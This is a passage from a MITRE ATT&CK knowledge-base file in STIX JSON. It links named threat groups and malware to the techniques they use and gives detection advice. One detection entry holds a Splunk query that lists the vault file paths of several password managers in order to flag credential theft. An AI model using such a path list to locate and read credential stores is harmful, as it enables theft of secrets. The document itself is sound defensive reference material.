Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T17:51:38.199Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has scanned for domain admin accounts in compromised environments.(Citation: SOCRadar INC Ransom January 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--493486aa-d53f-48bc-8c2a-3e841a72e5d1","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies.(Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft DirSync","description":"Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.","url":"https://msdn.microsoft.com/en-us/library/ms677626.aspx"},{"source_name":"ADDSecurity DCShadow Feb 2018","description":"Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.","url":"https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"},{"source_name":"DCShadow Blog","description":"Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.","url":"https://www.dcshadow.com/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49363ea2-b33e-4cc4-a283-ab7d30530c27","type":"relationship","created":"2020-03-17T02:14:55.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}],"modified":"2020-03-17T02:14:55.784Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) can use DNS for C2 communications.(Citation: FireEye APT34 Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49404706-aa42-4914-a273-2eeb217e6477","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.870Z","description":"(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--494255a0-7672-4302-9e1b-bf3767cb8384","created":"2021-07-16T19:34:20.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.431Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) has the ability to download and execute additional payloads.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49430af3-18b0-40e1-a500-5deab8ea8e48","created":"2024-01-18T20:19:55.547Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-18T20:19:55.547Z","description":"[Ninja](https://attack.mitre.org/software/S1100) has gained execution through victims opening malicious executable files embedded in zip archives.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4944ba6e-f70d-4b3b-8ddb-f67209a57afc","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--494a0c44-2822-4f53-977e-f36a949d8258","type":"relationship","created":"2022-03-24T22:31:32.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.751Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can take a screenshot of the current desktop.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--494a36cf-644a-4efe-90c9-eb3b10d549e6","created":"2024-02-07T18:45:00.186Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-07T18:45:00.186Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) provides a BusyBox reverse shell for command and control.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49543c25-bc04-49ba-820e-aa45546c414f","type":"relationship","created":"2021-10-14T16:29:19.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Shining A Light on DARKSIDE May 2021","url":"https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html","description":"FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 2021."}],"modified":"2021-10-14T18:34:24.269Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used Google Drive and Dropbox to host files downloaded by victims via malicious links.(Citation: FireEye Shining A Light on DARKSIDE May 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--495982e4-9856-4e7f-8e05-4654d67a4d62","type":"relationship","created":"2020-09-25T17:35:36.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2020-09-25T17:35:36.411Z","description":"[Valak](https://attack.mitre.org/software/S0476) can communicate over multiple C2 hosts.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--495db551-b69c-482e-b242-831011c054f7","created":"2022-09-09T16:09:42.679Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T16:09:42.679Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used [Mimikatz](https://attack.mitre.org/software/S0002) to exploit a domain controller via the ZeroLogon exploit (CVE-2020-1472).(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--496017cd-f22a-4295-931c-70bb672985f8","type":"relationship","created":"2019-01-30T13:53:14.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2019-04-17T22:22:22.052Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) digitally signs the malware with a code-signing certificate.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--496378e6-ab36-4d3b-9ae3-c493a5b56877","type":"relationship","created":"2019-01-29T21:57:39.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture Dragonfish Jan 2018","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018."}],"modified":"2019-04-17T22:12:24.904Z","description":"[Elise](https://attack.mitre.org/software/S0081) enumerates processes via the tasklist command.(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--496b2565-c0fb-4de7-8446-e8125bfa4f28","type":"relationship","created":"2020-02-21T21:17:03.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:17:03.463Z","relationship_type":"revoked-by","source_ref":"attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--496f7931-6abd-4485-953b-0b8854c8ecab","created":"2024-06-06T17:47:11.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:03:05.633Z","description":"(Citation: Cybereason INC Ransomware November 2023)(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)(Citation: SOCRadar INC Ransom January 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4971ab34-bfff-4384-b04f-6a7cd004ae2f","created":"2022-09-30T20:50:28.473Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:50:28.473Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has uploaded data and files from a compromised host to its C2 servers.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4973197d-b2b7-4da2-ad4f-245beca0b389","type":"relationship","created":"2022-02-18T15:27:32.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T15:29:39.442Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has registered domains to stage payloads.(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4973496a-2a49-4428-b2db-0629a97df9d3","type":"relationship","created":"2019-04-19T15:30:36.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.392Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed loading several APIs associated with Pass the Hash.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4975593a-cae8-46f8-89c1-94d2115dd14c","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may attempt to hide artifacts associated with their behaviors to evade detection. ","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4975b6f9-c542-4ad9-bfeb-6182c4db895f","created":"2023-01-26T18:46:43.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:18:18.598Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can decrypt files and data.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--497ab7d8-df5c-4b51-8a8b-1d632a0536e5","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ise Password Manager February 2019","description":"ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.","url":"https://www.ise.io/casestudies/password-manager-hacking/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T16:54:21.318Z","description":"Monitor file reads that may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019)\n\nAnalytic 1 - Unauthorized access to password manager files.\n\n index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") EventCode IN (1, 4663)\n(file_path IN (\"*\\\\AppData\\\\Local\\\\Keepass\\\\*.kdbx\", \"*\\\\AppData\\\\Local\\\\LastPass\\\\*.lpvault\", \"*\\\\AppData\\\\Local\\\\1Password\\\\*.agilekeychain\", \"*\\\\AppData\\\\Local\\\\Bitwarden\\\\*.json\", \"*\\\\AppData\\\\Local\\\\Dashlane\\\\*.db\", \"*\\\\AppData\\\\Local\\\\PasswordSafe\\\\*.psafe3\", \"/home/*/.keepass/*.kdbx\", \"/home/*/.lastpass/*.lpvault\", \"/home/*/.1password/*.agilekeychain\", \"/home/*/.bitwarden/*.json\", \"/home/*/.dashlane/*.db\", \"/home/*/.passwordsafe/*.psafe3\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--497aec05-cb34-424d-943f-4fdfbf2585b4","type":"relationship","created":"2020-05-14T15:35:08.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T15:35:08.806Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) decompresses ZIP files once on the victim machine.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--497c12c8-1cdf-4c1e-9624-83438ef770a2","type":"relationship","created":"2021-01-27T19:37:49.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T19:37:49.490Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) has used PowerShell to bypass UAC.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49855593-a473-4fd8-a40e-9b2435121208","created":"2021-09-07T14:18:54.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T14:46:40.038Z","description":"[Crimson](https://attack.mitre.org/software/S0115) has the ability to delete files from a compromised host.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)\t 